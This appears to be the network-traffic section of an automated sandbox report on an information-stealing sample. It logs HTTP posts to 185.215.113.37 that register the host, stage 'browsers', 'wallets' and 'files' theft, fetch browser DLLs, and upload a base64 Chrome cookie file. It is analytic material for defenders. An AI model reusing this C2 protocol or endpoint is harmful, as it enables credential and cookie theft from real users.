Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 39 43 31 30 35 32 37 34 33 35 35 37 34 32 31 37 39 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 2d 2d 0d 0a Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="hwid"489C10527435574217965------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="build"doma------FIIECFHDBAAECAAKFHDH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 2d 2d 0d 0a Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="message"browsers------HDAKJDHIEBFIIDGDGDBA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAKHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------AAFIIJDAAAAKFHIDAAAKContent-Disposition: form-data; name="message"plugins------AAFIIJDAAAAKFHIDAAAK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGHHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"fplugins------DBFHDHJKKJDHJJJJKEGH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDHHost: 185.215.113.37Content-Length: 6471Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d 0a Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 2d 2d 0d 0a Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="file"------JKJDAEBFCBKECBGDBFCF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="file"------DGHCBAAEHCFIDGDHJEHC--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKFHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"wallets------HIJEGDBGDBFIJKECBAKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"files------GIJJKKJJDAAAAAKFHJJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d 0a Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="message"ybncbhylepme------CBKJKJDBFIIDHJKEHJEH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 37 34 33 65 65 36 39 66 64 61 62 63 66 30 66 33 34 66 31 64 34 34 30 30 66 39 34 38 65 62 30 32 63 61 36 66 32 34 39 63 36 62 63 30 37 65 33 31 39 31 39 38 64 61 62 38 38 36 65 35 33 34 36 62 66 30 61 32 65 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"c743ee69fdabcf0f34f1d4400f948eb02ca6f249c6bc07e319198dab886e5346bf0a2e78------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHIDGDHCGCBAKFHIIIII--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
